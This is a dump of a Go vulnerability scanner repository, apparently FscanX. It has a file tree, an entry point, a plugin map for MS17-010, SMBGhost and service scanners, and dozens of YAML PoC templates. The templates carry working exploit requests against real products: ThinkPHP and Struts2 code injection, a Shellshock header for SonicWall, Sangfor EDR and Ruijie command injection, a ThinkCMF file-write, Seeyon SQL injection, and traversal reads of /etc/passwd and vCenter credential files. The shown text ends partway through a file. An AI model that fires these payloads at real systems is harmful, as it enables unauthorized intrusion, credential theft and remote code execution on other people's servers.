├── image ├── img.png ├── img1.png ├── img2.png ├── img3.png └── img4.png ├── main.go ├── webscan ├── pocs │ ├── springboot-env-unauth.yml │ ├── springboot-env-unauth2.yml │ ├── swagger-ui-unauth-No1.yml │ ├── swagger-ui-unauth-No2.yml │ ├── swagger-ui-unauth-No4.yml │ ├── swagger-ui-unauth-No7.yml │ ├── swagger-ui-unauth-No8.yml │ ├── swagger-ui-unauth-No3.yml │ ├── swagger-ui-unauth-No5.yml │ ├── swagger-ui-unauth-No6.yml │ ├── spring-heapdump-file.yml │ ├── vmware-vcenter-arbitrary-file-read2.yml │ ├── thinkphp5-controller-rce.yml │ ├── tianqing-info-leak.yml │ ├── seeyon-session-leak.yml │ ├── spring-actuator-heapdump-file.yml │ ├── thinkcmf-lfi.yml │ ├── sangfor-edr-tool-rce.yml │ ├── sangfor-edr-arbitrary-admin-login.yml │ ├── vmware-vcenter-arbitrary-file-read.yml │ ├── spring-cloud-cve-2020-5410.yml │ ├── springcloud-cve-2019-3799.yml │ ├── seeyon-a6-test-jsp-sql.yml │ ├── vmware-vrealize-cve-2021-21975-ssrf.yml │ ├── seeyon-a6-employee-info-leak.yml │ ├── wordpress-cve-2019-19985-infoleak.yml │ ├── ruijie-uac-cnvd-2021-14536.yml │ ├── struts2-045-1.yml │ ├── seeyon-setextno-jsp-sql.yml │ ├── sonicwall-ssl-vpn-rce.yml │ ├── thinkphp5023-method-rce.yml │ ├── tomcat-cve-2018-11759.yml │ ├── seeyon-cnvd-2020-62422-readfile.yml │ ├── spring-cloud-cve-2020-5405.yml │ ├── sangfor-edr-cssp-rce.yml │ ├── thinkcmf-write-shell.yml │ ├── spring-cve-2016-4977.yml │ ├── weblogic-cve-2020-14750.yml │ ├── thinkadmin-v6-readfile.yml │ ├── ruijie-rce-cnvd-2021-09650.yml │ ├── webmin-cve-2019-15107-rce.yml │ ├── tongda-user-session-disclosure.yml │ ├── seeyon-unauthoried.yml │ ├── ueditor-cnvd-2017-20077-file-upload.yml │ ├── vmware-vcenter-unauthorized-rce-cve-2021-21972.yml │ ├── wordpress-ext-adaptive-images-lfi.yml │ ├── weaver-ebridge-file-read-linux.yml │ ├── weblogic-ssrf.yml │ ├── tomcat-manager-week.yml │ ├── tomcat-cve-2017-12615-rce.yml │ ├── weaver-ebridge-file-read-windows.yml │ ├── tongda-meeting-unauthorized-access.yml │ ├── seeyon-ajax-unauthorized-access.yml │ ├── vmware-vcenter-cve-2021-21985-rce.yml │ ├── thinkphp-v6-file-write.yml │ ├── saltstack-cve-2021-25282-file-write.yml │ ├── solr-fileread2.yml │ ├── vengd-upload-rce.yml │ ├── struts2-045-2.yml │ ├── weaver-oa-arbitrary-file-upload.yml │ ├── solr-fileread1.yml │ ├── showdoc-uploadfile.yml │ ├── struts2-046-1.yml │ ├── solr-velocity-template-rce.yml │ ├── weblogic-v10-cve-2017-10271.yml │ ├── solr-cve-2019-0193.yml │ └── weblogic-v12-cve-2019-2725.yml ├── scan.go ├── info.go ├── lib │ ├── client.go │ ├── info │ │ └── rules.go │ ├── http.pb.go │ ├── eval.go │ └── check.go └── web.go ├── core ├── plugin.go ├── core.go ├── resolve.go ├── flags.go └── scanner.go ├── readme.md ├── plugin ├── postgre.go ├── mysql.go ├── mssql.go ├── ftp.go ├── portscan.go ├── mongodb.go ├── oxid.go ├── ssh.go ├── smbghost.go ├── icmp.go ├── MS-17010.go ├── netbois.go └── redis.go ├── config └── data.go └── go.sum /image/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j5s/FscanX/HEAD/image/img.png -------------------------------------------------------------------------------- /image/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j5s/FscanX/HEAD/image/img1.png -------------------------------------------------------------------------------- /image/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j5s/FscanX/HEAD/image/img2.png -------------------------------------------------------------------------------- /image/img3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j5s/FscanX/HEAD/image/img3.png -------------------------------------------------------------------------------- /image/img4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j5s/FscanX/HEAD/image/img4.png -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "FscanX/core" 5 | ) 6 | func main(){ 7 | core.GetFlags() 8 | } 9 | -------------------------------------------------------------------------------- /webscan/pocs/springboot-env-unauth.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-springboot-env-unauth 2 | rules: 3 | - method: GET 4 | path: /env 5 | expression: | 6 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") 7 | detail: 8 | links: 9 | - https://github.com/LandGrey/SpringBootVulExploit 10 | -------------------------------------------------------------------------------- /webscan/pocs/springboot-env-unauth2.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-springboot-env-unauth 2 | rules: 3 | - method: GET 4 | path: /actuator/env 5 | expression: | 6 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") 7 | detail: 8 | links: 9 | - https://github.com/LandGrey/SpringBootVulExploit 10 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No1.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth1 2 | rules: 3 | - method: GET 4 | path: /swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No2.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth2 2 | rules: 3 | - method: GET 4 | path: /api/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No4.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth4 2 | rules: 3 | - method: GET 4 | path: /web/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No7.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth7 2 | rules: 3 | - method: GET 4 | path: /libs/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No8.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui8 2 | rules: 3 | - method: GET 4 | path: /template/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No3.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth3 2 | rules: 3 | - method: GET 4 | path: /service/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No5.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth5 2 | rules: 3 | - method: GET 4 | path: /swagger/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/swagger-ui-unauth-No6.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-swagger-ui-unauth6 2 | rules: 3 | - method: GET 4 | path: /actuator/swagger-ui.html 5 | expression: | 6 | response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") 7 | detail: 8 | author: AgeloVito 9 | links: 10 | - https://blog.csdn.net/u012206617/article/details/109107210 11 | -------------------------------------------------------------------------------- /webscan/pocs/spring-heapdump-file.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-spring-heapdump-file 2 | rules: 3 | - method: HEAD 4 | path: /heapdump 5 | follow_redirects: true 6 | expression: | 7 | response.status == 200 && response.content_type.contains("application/octet-stream") 8 | detail: 9 | author: AgeloVito 10 | info: spring-heapdump-file 11 | links: 12 | - https://www.cnblogs.com/wyb628/p/8567610.html 13 | -------------------------------------------------------------------------------- /webscan/pocs/vmware-vcenter-arbitrary-file-read2.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-vmware-vcenter-arbitrary-file-read2 2 | rules: 3 | - method: GET 4 | path: /eam/vib?id=/etc/passwd 5 | follow_redirects: false 6 | expression: | 7 | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) 8 | detail: 9 | author: MrP01ntSun(https://github.com/MrPointSun) 10 | links: 11 | - https://t.co/LfvbyBUhF5 12 | -------------------------------------------------------------------------------- /webscan/pocs/thinkphp5-controller-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp5-controller-rce 2 | rules: 3 | - method: GET 4 | path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91 5 | expression: | 6 | response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129") 7 | 8 | detail: 9 | links: 10 | - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce -------------------------------------------------------------------------------- /webscan/pocs/tianqing-info-leak.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tianqing-info-leak 2 | rules: 3 | - method: GET 4 | path: /api/dbstat/gettablessize 5 | expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"schema_name") && response.body.bcontains(b"table_name") 6 | detail: 7 | author: jingling(https://github.com/shmilylty) 8 | links: 9 | - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g -------------------------------------------------------------------------------- /webscan/pocs/seeyon-session-leak.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-session-leak 2 | rules: 3 | - method: GET 4 | path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll 5 | expression: 6 | response.status == 200 && response.body.bcontains(b"\r\n\r\n") 7 | detail: 8 | author: sakura404x 9 | links: 10 | - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md -------------------------------------------------------------------------------- /webscan/pocs/spring-actuator-heapdump-file.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-spring-actuator-heapdump-file 2 | rules: 3 | - method: HEAD 4 | path: /actuator/heapdump 5 | follow_redirects: true 6 | expression: | 7 | response.status == 200 && response.content_type.contains("application/octet-stream") 8 | detail: 9 | author: AgeloVito 10 | info: spring-actuator-heapdump-file 11 | links: 12 | - https://www.cnblogs.com/wyb628/p/8567610.html 13 | -------------------------------------------------------------------------------- /webscan/pocs/thinkcmf-lfi.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkcmf-lfi 2 | 3 | rules: 4 | - method: GET 5 | path: "/?a=display&templateFile=README.md" 6 | expression: | 7 | response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README"))) 8 | 9 | detail: 10 | author: JerryKing 11 | ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2 12 | links: 13 | - https://www.freebuf.com/vuls/217586.html 14 | -------------------------------------------------------------------------------- /webscan/pocs/sangfor-edr-tool-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-sangfor-edr-tool-rce 2 | set: 3 | r1: randomLowercase(8) 4 | r2: randomLowercase(8) 5 | rules: 6 | - method: GET 7 | path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}" 8 | follow_redirects: false 9 | expression: | 10 | response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2)) 11 | detail: 12 | author: cookie 13 | links: 14 | - https://edr.sangfor.com.cn/ 15 | -------------------------------------------------------------------------------- /webscan/pocs/sangfor-edr-arbitrary-admin-login.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-sangfor-edr-arbitrary-admin-login 2 | rules: 3 | - method: GET 4 | path: /ui/login.php?user=admin 5 | follow_redirects: false 6 | expression: > 7 | response.status == 302 && 8 | response.body.bcontains(b"/download/edr_installer_") && 9 | response.headers["Set-Cookie"] != "" 10 | detail: 11 | author: hilson 12 | links: 13 | - https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA 14 | -------------------------------------------------------------------------------- /webscan/pocs/vmware-vcenter-arbitrary-file-read.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-vmware-vcenter-arbitrary-file-read 2 | rules: 3 | - method: GET 4 | path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties 5 | follow_redirects: false 6 | expression: | 7 | response.status == 200 && response.body.bcontains(b"org.postgresql.Driver") 8 | detail: 9 | author: MrP01ntSun(https://github.com/MrPointSun) 10 | links: 11 | - https://t.co/LfvbyBUhF5 12 | -------------------------------------------------------------------------------- /core/plugin.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import "FscanX/plugin" 4 | 5 | var PluginMap = map[string]interface{}{ 6 | "ms17010": plugin.MS17070, 7 | "smbghost": plugin.SMBGHOST, 8 | "1433": plugin.MssqlScan, 9 | "3306": plugin.MysqlScan, 10 | "5432": plugin.PostgreScan, 11 | "139": plugin.NetBIOS, 12 | "21": plugin.FtpScan, 13 | "22": plugin.SshScan, 14 | "27017": plugin.MongodbScan, 15 | "135": plugin.Findnet, 16 | "6379": plugin.RedisScan, 17 | } -------------------------------------------------------------------------------- /webscan/pocs/spring-cloud-cve-2020-5410.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-spring-cloud-cve-2020-5410 2 | rules: 3 | - method: GET 4 | path: >- 5 | /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a 6 | expression: | 7 | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) 8 | detail: 9 | author: Soveless(https://github.com/Soveless) 10 | Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9" 11 | links: 12 | - https://xz.aliyun.com/t/7877 -------------------------------------------------------------------------------- /webscan/pocs/springcloud-cve-2019-3799.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-springcloud-cve-2019-3799 2 | rules: 3 | - method: GET 4 | path: >- 5 | /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd 6 | follow_redirects: true 7 | expression: | 8 | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) 9 | 10 | detail: 11 | version: <2.1.2, 2.0.4, 1.4.6 12 | author: Loneyer 13 | links: 14 | - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799 15 | -------------------------------------------------------------------------------- /webscan/pocs/seeyon-a6-test-jsp-sql.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-a6-test-jsp-sql 2 | set: 3 | rand: randomInt(200000000, 210000000) 4 | rules: 5 | - method: GET 6 | path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) 7 | expression: 8 | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) 9 | detail: 10 | author: sakura404x 11 | version: 致远A6 12 | links: 13 | - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md -------------------------------------------------------------------------------- /webscan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-vmware-vrealize-cve-2021-21975-ssrf 2 | rules: 3 | - method: POST 4 | path: /casa/nodes/thumbprints 5 | headers: 6 | Content-Type: application/json 7 | body: | 8 | ["127.0.0.1:443/ui/"] 9 | follow_redirects: true 10 | expression: | 11 | response.status == 200 && response.body.bcontains(bytes("vRealize Operations Manager")) 12 | detail: 13 | author: Loneyer 14 | links: 15 | - https://www.vmware.com/security/advisories/VMSA-2021-0004.html -------------------------------------------------------------------------------- /webscan/pocs/seeyon-a6-employee-info-leak.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-a6-employee-info-leak 2 | rules: 3 | - method: GET 4 | path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 5 | expression: 6 | response.status == 200 && response.body.bcontains(b"[Content_Types].xml") && response.body.bcontains(b"Excel.Sheet") 7 | detail: 8 | author: sakura404x 9 | version: 致远A6 10 | links: 11 | - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md -------------------------------------------------------------------------------- /webscan/pocs/wordpress-cve-2019-19985-infoleak.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-wordpress-cve-2019-19985-infoleak 2 | rules: 3 | - method: GET 4 | path: "/wp-admin/admin.php?page=download_report&report=users&status=all" 5 | follow_redirects: false 6 | expression: > 7 | response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"])) 8 | detail: 9 | author: bufsnake(https://github.com/bufsnake) 10 | links: 11 | - https://www.exploit-db.com/exploits/48698 12 | -------------------------------------------------------------------------------- /webscan/pocs/ruijie-uac-cnvd-2021-14536.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-ruijie-uac-cnvd-2021-14536 2 | rules: 3 | - method: GET 4 | path: /login.php 5 | follow_redirects: false 6 | expression: | 7 | response.status == 200 && response.body.bcontains(b"RG-UAC登录页面") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body) 8 | detail: 9 | author: jweny(https://github.com/jweny) 10 | links: 11 | - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065 -------------------------------------------------------------------------------- /webscan/pocs/struts2-045-1.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-struts2_045-1 2 | set: 3 | r1: randomInt(800, 1000) 4 | r2: randomInt(800, 1000) 5 | rules: 6 | - method: GET 7 | path: / 8 | headers: 9 | Content-Type: ${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("Keyvalue",{{r1}}*{{r2}})}.multipart/form-data 10 | follow_redirects: true 11 | expression: | 12 | "Keyvalue" in response.headers && response.headers["Keyvalue"].contains(string(r1 * r2)) 13 | detail: 14 | author: shadown1ng(https://github.com/shadown1ng) 15 | 16 | -------------------------------------------------------------------------------- /webscan/pocs/seeyon-setextno-jsp-sql.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-setextno-jsp-sql 2 | set: 3 | rand: randomInt(200000000, 210000000) 4 | rules: 5 | - method: GET 6 | path: /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17)%20union%20all%20select%201,2,@@version,md5({{rand}})%23 7 | expression: 8 | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) 9 | detail: 10 | author: sakura404x 11 | version: 致远A6 12 | links: 13 | - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3348.md -------------------------------------------------------------------------------- /webscan/pocs/sonicwall-ssl-vpn-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-sonicwall-ssl-vpn-rce 2 | set: 3 | r1: randomInt(40000, 44800) 4 | r2: randomInt(1140000, 1144800) 5 | rules: 6 | - method: GET 7 | path: /cgi-bin/jarrewrite.sh 8 | follow_redirects: false 9 | headers: 10 | X-Test: () { :; }; echo ; /bin/bash -c 'expr {{r1}} - {{r2}}' 11 | expression: | 12 | response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) 13 | detail: 14 | author: sharecast 15 | links: 16 | - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ 17 | -------------------------------------------------------------------------------- /webscan/pocs/thinkphp5023-method-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp5023-method-rce 2 | rules: 3 | - method: POST 4 | path: /index.php?s=captcha 5 | headers: 6 | Content-Type: application/x-www-form-urlencoded 7 | body: | 8 | _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1 9 | expression: | 10 | response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1") 11 | detail: 12 | links: 13 | - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce -------------------------------------------------------------------------------- /webscan/pocs/tomcat-cve-2018-11759.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tomcat-cve-2018-11759 2 | rules: 3 | - method: GET 4 | path: /jkstatus; 5 | follow_redirects: false 6 | expression: | 7 | response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body) 8 | - method: GET 9 | path: /jkstatus;?cmd=dump 10 | follow_redirects: false 11 | expression: | 12 | response.status == 200 && "ServerRoot=*".bmatches(response.body) 13 | detail: 14 | author: loneyer 15 | links: 16 | - https://github.com/immunIT/CVE-2018-11759 17 | -------------------------------------------------------------------------------- /webscan/pocs/seeyon-cnvd-2020-62422-readfile.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-cnvd-2020-62422-readfile 2 | rules: 3 | - method: GET 4 | path: /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties 5 | follow_redirects: false 6 | expression: response.status == 200 && response.content_type.icontains("application/x-msdownload") && response.body.bcontains(b"ctpDataSource.password") 7 | detail: 8 | author: Aquilao(https://github.com/Aquilao) 9 | info: seeyon readfile(CNVD-2020-62422) 10 | links: 11 | - https://www.cnvd.org.cn/flaw/show/CNVD-2020-62422 12 | -------------------------------------------------------------------------------- /webscan/pocs/spring-cloud-cve-2020-5405.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-spring-cloud-cve-2020-5405 2 | rules: 3 | - method: GET 4 | path: >- 5 | /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf 6 | follow_redirects: true 7 | expression: | 8 | response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit.")) 9 | 10 | detail: 11 | version: <= 2.1.6, 2.2.1 12 | author: kingkk(https://www.kingkk.com/) 13 | links: 14 | - https://pivotal.io/security/cve-2020-5405 15 | - https://github.com/spring-cloud/spring-cloud-config -------------------------------------------------------------------------------- /webscan/pocs/sangfor-edr-cssp-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-sangfor-edr-cssp-rce 2 | rules: 3 | - method: POST 4 | path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 5 | headers: 6 | Content-Type: application/x-www-form-urlencoded 7 | body: >- 8 | {"params":"w=123\"'1234123'\"|id"} 9 | expression: > 10 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)") 11 | detail: 12 | author: x1n9Qi8 13 | Affected Version: "Sangfor EDR 3.2.17R1/3.2.21" 14 | links: 15 | - https://www.cnblogs.com/0day-li/p/13650452.html 16 | -------------------------------------------------------------------------------- /webscan/pocs/thinkcmf-write-shell.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkcmf-write-shell 2 | set: 3 | r: randomInt(10000, 20000) 4 | r1: randomInt(1000000000, 2000000000) 5 | rules: 6 | - method: GET 7 | path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B" 8 | expression: "true" 9 | - method: GET 10 | path: "/{{r}}.php" 11 | expression: | 12 | response.status == 200 && response.body.bcontains(bytes(string(r1))) 13 | 14 | detail: 15 | author: violin 16 | ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2 17 | links: 18 | - https://www.freebuf.com/vuls/217586.html 19 | -------------------------------------------------------------------------------- /webscan/pocs/spring-cve-2016-4977.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-spring-cve-2016-4977 2 | set: 3 | r1: randomInt(40000, 44800) 4 | r2: randomInt(40000, 44800) 5 | rules: 6 | - method: GET 7 | path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test 8 | follow_redirects: false 9 | expression: > 10 | response.body.bcontains(bytes(string(r1 * r2))) 11 | detail: 12 | Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)" 13 | author: hanxiansheng26(https://github.com/hanxiansheng26) 14 | links: 15 | - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977 16 | -------------------------------------------------------------------------------- /webscan/pocs/weblogic-cve-2020-14750.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-cve-2020-14750 2 | rules: 3 | - method: GET 4 | path: /console/images/%252E./console.portal 5 | follow_redirects: false 6 | expression: | 7 | (response.status == 302 && response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console.portal?_nfpb=true"))) 8 | detail: 9 | author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless) 10 | weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 11 | links: 12 | - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html 13 | -------------------------------------------------------------------------------- /webscan/pocs/thinkadmin-v6-readfile.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkadmin-v6-readfile 2 | rules: 3 | - method: GET 4 | path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34 5 | follow_redirects: true 6 | expression: | 7 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg")) 8 | detail: 9 | author: 0x_zmz(github.com/0x-zmz) 10 | info: thinkadmin-v6-readfile By 0x_zmz 11 | links: 12 | - https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw 13 | - https://github.com/0x-zmz 14 | -------------------------------------------------------------------------------- /webscan/pocs/ruijie-rce-cnvd-2021-09650.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-ruijie-rce-cnvd-2021-09650 2 | set: 3 | r1: randomLowercase(9) 4 | rules: 5 | - method: POST 6 | path: /guest_auth/guestIsUp.php 7 | body: mac = 1 & ip = 127.0.0.1 | id > {{r1}}.txt 8 | follow_redirects: false 9 | expression: | 10 | response.status == 200 11 | - method: GET 12 | path: /guest_auth/{{r1}}.txt 13 | follow_redirects: false 14 | expression: | 15 | response.status == 200 && response.body.bcontains(b"uid") 16 | detail: 17 | author: jdr 18 | info: CNVD-2021-09650(Ruijie-EWEB网管系统 RCE) 19 | links: 20 | - https://github.com/opsxcq/exploit-CVE-2014-6271/ -------------------------------------------------------------------------------- /webscan/pocs/webmin-cve-2019-15107-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-webmin-cve-2019-15107-rce 2 | set: 3 | r1: randomInt(800000000, 1000000000) 4 | r2: randomInt(800000000, 1000000000) 5 | rules: 6 | - method: POST 7 | path: /password_change.cgi 8 | headers: 9 | Referer: "{{url}}" 10 | body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2 11 | follow_redirects: false 12 | expression: > 13 | response.body.bcontains(bytes(string(r1 + r2))) 14 | detail: 15 | author: danta 16 | description: Webmin 远程命令执行漏洞(CVE-2019-15107) 17 | links: 18 | - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107 19 | -------------------------------------------------------------------------------- /webscan/pocs/tongda-user-session-disclosure.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tongda-user-session-disclosure 2 | rules: 3 | - method: GET 4 | path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 5 | follow_redirects: false 6 | expression: "true" 7 | 8 | - method: POST 9 | path: /general/userinfo.php?UID=1 10 | follow_redirects: false 11 | expression: | 12 | response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json") 13 | detail: 14 | author: kzaopa(https://github.com/kzaopa) 15 | links: 16 | - https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ -------------------------------------------------------------------------------- /webscan/pocs/seeyon-unauthoried.yml: 